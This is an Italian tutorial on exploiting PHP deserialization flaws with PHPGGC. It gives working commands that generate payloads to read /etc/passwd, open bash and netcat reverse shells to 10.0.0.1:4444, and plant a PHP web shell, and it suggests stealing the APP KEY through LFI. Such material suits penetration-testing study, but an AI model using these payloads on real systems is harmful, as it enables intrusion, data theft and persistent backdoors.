tags: Deserializzazione Deserialization_Attack PHPGCC


Questo strumento automatizza il processo di creazione di una stringa PHP serializzata che contiene la gadget chain, per moltissimi framework PHP, lo si può scaricare dal seguente link https://github.com/ambionics/phpggc.

Esistono due scenari tipici di serializzazione il primo è quello nel quale l’applicazione non fa nessun controllo sull’input inserito dall’utente e deserializza tutto quello che viene immesso nell’endpoint vulnerabile e lo chiameremo il caso Semplice, l’altro è quello dove l’applicazione utilizza una APP KEY che è una chiave che il server utilizza per serializzare e deserializzare oggetti, se non possediamo questa chiave non possiamo sfruttare questa vulneabilità e questo scenario lo chiameremo Complesso.

Scenario Semplice

Per prima cosa devi capire dove sta l’endpoint vulneabile e lo puoi fare guardando parametri come (cookie, POST, GET) che contengono roba tipo a:1:{...} o O:8:"qualcosa":...;

Poi identifichi il framework utilizzato dall’app da header HTTP, percorsi, commenti, errori, file JS/PHP capisci se c’è Laravel, Symfony, WordPress, ecc.

Poi tramite PHPGCC vedi se è listato il framework in questione con il seguente comando:

 php phpggc -l
 
Gadget Chains
-------------
 
NAME                                      VERSION                                                 TYPE                      VECTOR          I    
Bitrix/RCE1                               17.x.x <= 22.0.300                                      RCE: Command              __destruct           
CakePHP/RCE1                              ? <= 3.9.6                                              RCE: Command              __destruct           
CakePHP/RCE2                              ? <= 4.2.3                                              RCE: Command              __destruct           
CodeIgniter4/FD1                          <= 4.3.6                                                File delete               __destruct           
CodeIgniter4/FD2                          <= 4.3.7                                                File delete               __destruct           
CodeIgniter4/FR1                          4.0.0 <= 4.3.6                                          File read                 __toString      *    
CodeIgniter4/RCE1                         4.0.2                                                   RCE: Command              __destruct           
CodeIgniter4/RCE2                         4.0.0-rc.4 <= 4.3.6                                     RCE: Command              __destruct           
CodeIgniter4/RCE3                         4.0.4 <= 4.4.3                                          RCE: Command              __destruct           
CodeIgniter4/RCE4                         4.0.0-beta.1 <= 4.0.0-rc.4                              RCE: Command              __destruct         

Ora se per esempio il framework fosse Symfony/RCE4 possiamo utilizzare i seguenti comandi per generare i rispettivi payload:

# 1. RCE SEMPLICE - Comando system
./phpggc Symfony/RCE4 system 'whoami' | base64 -w0
 
# 2. RCE CON OUTPUT CAPTURE - Legge risultato comando
./phpggc Symfony/RCE4 exec 'cat /etc/passwd' | base64 -w0
 
# 3. REVERSE SHELL BASH
./phpggc Symfony/RCE4 system 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"' | base64 -w0
 
# 4. REVERSE SHELL NETCAT
./phpggc Symfony/RCE4 system 'nc -e /bin/sh 10.0.0.1 4444' | base64 -w0
 
# 5. SCRIVERE FILE (web shell)
./phpggc Symfony/RCE4 system 'echo "<?php system(\$_GET[0]);?>" > /var/www/html/shell.php' | base64 -w0

Questi payload sono codificati in base64 e ci basta inserirli nell’endpoit vulnerabile per eseguire i comandi malevoli.

Scenario Complesso

Quando invece c’è di mezzo una chiave APP KEY la faccenda si complica notevolmente perchè dobbiamo eseguire lo stesso procedimento per il caso semplice, ma in più dobbiamo trovare l’APP KEY e in seguito costruire un’applicazione (o trovarne una già fatta) che misceli il nostro payload malevolo con l’APP KEY per generare un nuovo payload che il server possa accettare.

Quindi per prima cosa devi trovare l’APP KEY che non è per niente facile da trovare, in genere la si recupera attraverso altre vulnerabilità nell’applicazione come per esempio LFI di solito nel .env del server.

Una volta trovata l’APP KEY ci possiamo generare il payload tramite PHPGCC come nel caso `Semplice:

./phpggc Symfony/RCE4 system 'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"'

Ora che abbiamo i due ingredienti li dobbiamo miscelare in modo tale che il server li accetti e anche qua dipende da applicazione a applicazione perchè non esiste un metodo standard, cerca script che sfruttano vulnerabilità note o prova a dedurre il codice dal comportamento dell’applicazione, in ogni caso devi trovare un modo per miscelare i due ingredienti.

Una volta generato il nuovo payload inseriscilo nell’endpoit vulnerabile per eseguire il comando malevolo.